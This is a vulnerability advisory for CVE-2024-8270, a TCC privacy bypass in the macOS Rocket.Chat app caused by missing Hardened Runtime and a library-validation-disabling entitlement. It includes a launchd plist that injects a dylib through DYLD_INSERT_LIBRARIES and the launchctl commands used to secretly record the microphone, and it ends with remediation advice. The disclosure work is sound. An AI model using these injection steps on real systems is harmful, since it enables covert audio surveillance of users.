macOS Rocket.Chat- TCC Policy Bypass via Dylib Injection Due to Missing Code Signing Flags and Dangerous Entitlements

Dec 11, 2024

CVE Number

CVE-2024-8270

Credits

Carlos Garrido of Pentraze Cybersecurity

Summary

The macOS Rocket.Chat application is affected by a vulnerability that allows bypassing Transparency, Consent, and Control (TCC) policies, enabling the exploitation or abuse of permissions specified in its entitlements (e.g., microphone, camera, automation, network client). Since Rocket.Chat was not signed with the Hardened Runtime nor set to enforce Library Validation, it is vulnerable to DYLIB injection attacks, which can lead to unauthorized actions or escalation of permissions. Consequently, an attacker gains capabilities that are not permitted by default under the Sandbox and its application profile.

The vulnerability described in the following report was tested on version 4.1.2.

CVSS

5.5 (Medium) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Details

Rocket.Chat’s entitlements and Sandboxing

If we inspect the application’s code signature, we can retrieve the entitlements:

Executable=/Applications/Rocket.Chat.app/Contents/MacOS/Rocket.Chat
Identifier=chat.rocket
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20400 size=495 flags=0x0(none) hashes=5+7 location=embedded
Signature size=4797
Info.plist entries=33
TeamIdentifier=S6UPZG7ZR3
Sealed Resources version=2 rules=13 files=11839
Internal requirements count=1 size=212
Warning: Specifying ':' in the path is deprecated and will not work in a future release
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>com.apple.application-identifier</key><string>S6UPZG7ZR3.chat.rocket</string><key>com.apple.developer.team-identifier</key><string>S6UPZG7ZR3</string><key>com.apple.security.app-sandbox</key><true/><key>com.apple.security.application-groups</key><array><string>S6UPZG7ZR3.chat.rocket</string></array><key>com.apple.security.automation.apple-events</key><true/><key>com.apple.security.cs.allow-jit</key><true/><key>com.apple.security.cs.allow-unsigned-executable-memory</key><true/><key>com.apple.security.cs.disable-library-validation</key><true/><key>com.apple.security.device.audio-input</key><true/><key>com.apple.security.device.camera</key><true/><key>com.apple.security.device.microphone</key><true/><key>com.apple.security.files.downloads.read-write</key><true/><key>com.apple.security.files.user-selected.read-only</key><true/><key>com.apple.security.files.user-selected.read-write</key><true/><key>com.apple.security.network.client</key><true/></dict></plist>%

Entitlements are strings which, if present in the code signature, add various rights or restrictions to the given application.

Furthermore, the entitlements are encoded in a PLIST file. This information can be found in the Code Signature section of the Mach-O binary. The offset for this section can be determined via the Load Command LC_CODE_SIGNATURE, which belongs to the __LINKEDIT segment.

Among the relevant entitlements that Rocket.Chat possesses, we have the following:

com.apple.security.app-sandbox

When this entitlement is present during process execution, the system enforces the /System/Library/Sandbox/Profiles/application.sb profile on that process.

The default Sandbox profile imposes strict limitations, allowing the application access to only a minimal set of resources. However, developers can extend resource access for their sandboxed apps by adding specific entitlements to the application, as we will illustrate with the Rocket.Chat App.

  • Important: This entitlement is mandatory to all applications distributed through the App Store. For applications distributed outside of the App Store, developers can optionally choose whether to apply it.

com.apple.security.device.camera

A Boolean value that indicates whether the app may interact with the built-in and external cameras, and capture movies and still images.

Confirming how, indeed, with this entitlement, we can access the camera:

~ % rg -B 5 -A 5 "com.apple.security.device.camera" /System/Library/Sandbox/Profiles/application.sb
(when (entitlement "com.apple.security.device.camera") (camera))

com.apple.security.device.microphone

A Boolean value indicating whether the app is permitted to use the microphone. This is a Sandbox entitlement. To enable microphone access in a sandboxed app, this entitlement must be enabled.

com.apple.security.device.audio-input

This entitlement is similar to com.apple.security.device.microphone, but it applies when the microphone is used in an application signed with Hardened Runtime. However, in the case of Rocket.Chat, Hardened Runtime is not enabled.

If our application runs in a Sandbox and is signed with Hardened Runtime, it must include both entitlements: com.apple.security.device.audio-input and com.apple.security.device.microphone.

If we examine the default profile, we will see that, indeed, if the application has the com.apple.security.device.audio-input or com.apple.security.device.microphone entitlement, it will be granted access to the microphone:

~ % rg -B 5 -A 5 "com.apple.security.device.microphone" "com.apple.security.device.microphone" /System/Library/Sandbox/Profiles/application.sb
(when (or (entitlement "com.apple.security.device.microphone")
          (entitlement "com.apple.security.device.audio-input"))
      (audio-input))

com.apple.security.files.downloads.read-write

A Boolean value that indicates whether the app may have read-write access to the Downloads folder.

Why is this entitlement relevant?

When an application is sandboxed, it is confined to its own directory under ~/Library/Containers. The Sandbox profile governs its ability to access other locations on the system.

Based on the entitlement com.apple.security.files.downloads.read-write, we know that we have read and write access to the user’s Downloads folder. While this entitlement does not constitute a security vulnerability, it can be useful if we need to write outside the application’s Sandbox container at any point."

~ % rg -B 5 -A 5 "com.apple.security.files.downloads.read-write" "com.apple.security.device.microphone" /System/Library/Sandbox/Profiles/application.sb
(when (entitlement "com.apple.security.files.downloads.read-write")
(read-write-and-issue-extensions (home-subpath "/Downloads")))

apple.security.cs.disable-library-validation

It is worth noting that Rocket.Chat includes other entitlements, such as com.apple.security.cs.disable-library-validation, which allows unsigned libraries to load without being rejected by Apple Mobile File Integrity (AMFI) due to a code signature mismatch with the application. Furthermore, this could enable other abuses, such as DYLIB hijacking.

TCC manages access to several privacy-sensitive locations by either obtaining user ‘consent’ or by recognizing user ‘intent’ for an operation. In the case of consent, the application typically prompts the user, requesting permission to access a specific privacy-related location or service.

TCC Entitlements and Permissions

Applications not only need to request and receive access to certain resources, but they also must have the relevant entitlements. For example, Rocket.chat has the com.apple.security.device.microphone entitlement to request access to the microphone. An application without this entitlement will not be able to access the microphone, and the user will not even be prompted for permission.

TCC maintains a system-wide database for global privacy settings and a per-user database for more specific configurations. Both are SQLITE3 databases with identical schemas. The system-wide database is located at /Library/Application Support/com.apple.TCC/TCC.db, while the per-user database is found at $HOME/Library/Application Support/com.apple.TCC/TCC.db.

When accessing the per-user database, we can run a query to verify whether Rocket.Chat has been granted permission to access, for example, the microphone. This can be confirmed if the auth_value in the access table is set to 2:

sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db 
SQLite version 3.37.0 2021-12-09 01:34:53
Enter ".help" for usage hints.
sqlite> SELECT * FROM access WHERE client LIKE "%rocket%" and auth_value=2;
kTCCServiceMicrophone|chat.rocket|0|2|4|1|??||0|UNUSED||0|1725119972

DYLIB Injection

Our objective with the exploit is to capture audio from the target machine’s microphone by injecting code into the Rocket.Chat application.

For convenience, we will use the DYLD_INSERT_LIBRARIES environment variable to inject a DYLIB.

Exploitation

While it’s possible to perform standard code injection directly from the Terminal, this method presents a significant issue. Running the app via Terminal would cause Rocket.Chat to inherit the Terminal’s Sandbox profile and permissions. This is problematic because our goal is to operate within Rocket.Chat’s specific profile and privacy settings, not those of the Terminal.

To achieve this, we need to launch Rocket.Chat using launchd, ensuring it runs within its intended context. This can be done by creating a custom PLIST file and instructing launchd to load it, thereby preserving the appropriate Sandbox environment and privileges:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Label</key>
	<string>org.audio.rocket</string>
	<key>EnvironmentVariables</key>
	<dict>
		<key>DYLD_INSERT_LIBRARIES</key>
		<string>/tmp/Rocket.dylib</string>
	</dict>
	<key>ProgramArguments</key>
	<array>
		<string>/Applications/Rocket.Chat.app/Contents/MacOS/Rocket.Chat</string>
	</array>
	<key>RunAtLoad</key>
	<true/>
</dict>
</plist>

Next, we’ll launch Rocket.Chat by running launchctl with the load option:

% launchctl load Rocket.plist
% ls -l ~/Downloads/Rocket.m4a 
-rw-r--r--@ 1 research  staff  208696 Aug 31 18:17 /Users/research/Downloads/Rocket.m4a
% launchctl list | grep -v apple
PID	Status	Label
-	0	org.audio.rocket

Logs

Upon reviewing the system logs, we can observe that many of the previously explained processes do indeed occur, including the following:

  • Entering the Sandbox:

The libsystem_secinit.dylib`_libsecinit_appsandbox will call __sandbox_ms, resulting in a __mac_syscall to the Sandbox Kernel Extension:

log stream | grep -iE --color=always "Rocket.Chat"
2024-08-31 19:09:35.934695-0400 0x3d91b    Activity    0x4d020              5325   0    Rocket.Chat: (libsystem_secinit.dylib) AppSandbox
2024-08-31 19:09:35.937723-0400 0x3d8b5    Default     0x4d020              406    0    secinitd: Rocket.Chat[5325]: root path for bundle "<private>" of main executable "<private>"
2024-08-31 19:09:35.971552-0400 0x3d8b5    Default     0x4d020              406    0    secinitd: (AppSandbox) AppSandboxUtilRealPathForUTF8StringPath(/Applications/Rocket.Chat.app)
2024-08-31 19:09:35.983675-0400 0x3d8b5    Default     0x4d020              406    0    secinitd: (AppSandbox) AppSandboxUtilRealPathForUTF8StringPath(/Applications/Rocket.Chat.app)
2024-08-31 19:09:35.983902-0400 0x3d8b5    Default     0x4d020              406    0    secinitd: (AppSandbox) AppSandboxUtilRealPathForUTF8StringPath(/Applications/Rocket.Chat.app/Contents/Frameworks/Electron Framework.framework)
2024-08-31 19:09:35.984064-0400 0x3d8b5    Default     0x4d020              406    0    secinitd: (AppSandbox) AppSandboxUtilRealPathForUTF8StringPath(/Applications/Rocket.Chat.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Libraries)
2024-08-31 19:09:36.264357-0400 0x3d8b5    Default     0x4d020              406    0    secinitd: Rocket.Chat[5325]: AppSandbox request successful

Logs related to the process of encoding the audio captured from the microphone:

Rocket.Chat: (AudioCodecs) [com.apple.coreaudio:ac]   ACMP4AACBaseEncoder.cpp:650   (0x7fd5cc0b8c40) @@@@ 'aac ' encoder configuration: srIn = 44100, srOut = 44100, chans = 2, bitRateFormat = 1, bitrate = 128000, quality (complexity) = 64, VBRQ = -1, speechOptimization = 0, packetSizeLimit = 0 (bits), packetBitSizeMin = 0 (bits), mMaxPacketSize = 1536 (bytes), userBandwidth = 0, delayMode = 0, mCodecDelay = 2112, drcConfiguration = 0, mPrePostFillMask = 0x0

Rocket.Chat: (AudioCodecs) [com.apple.coreaudio:ac]   ACMP4AACBaseEncoder.cpp:650   (0x7fd5cc0b8c40) @@@@ 'aac ' encoder configuration: srIn = 44100, srOut = 44100, chans = 2, bitRateFormat = 1, bitrate = 256000, quality (complexity) = 64, VBRQ = -1, speechOptimization = 0, packetSizeLimit = 0 (bits), packetBitSizeMin = 0 (bits), mMaxPacketSize = 1536 (bytes), userBandwidth = 0, delayMode = 0, mCodecDelay = 2112, drcConfiguration = 0, mPrePostFillMask = 0x0

Rocket.Chat: (CMIOBaseUnits) [com.apple.cmio:] CMIO_Unit_Input_HAL.cpp:555:_HandleDevicePropertyChange noting running state has changed; treat as overload (kAudioDevicePropertyDeviceIsRunning is currently 0)
.
.
<SNIP>
.
.

Remediation

  • Enable the Hardened Runtime capability for the /Applications/Rocket.Chat.app/Contents/MacOS/Rocket.Chat binary.

  • Avoid using dangerous entitlements such as com.apple.security.cs.disable-library-validation alongside com.apple.security.cs.allow-dyld-environment-variables.

References

¿Ver el sitio en español?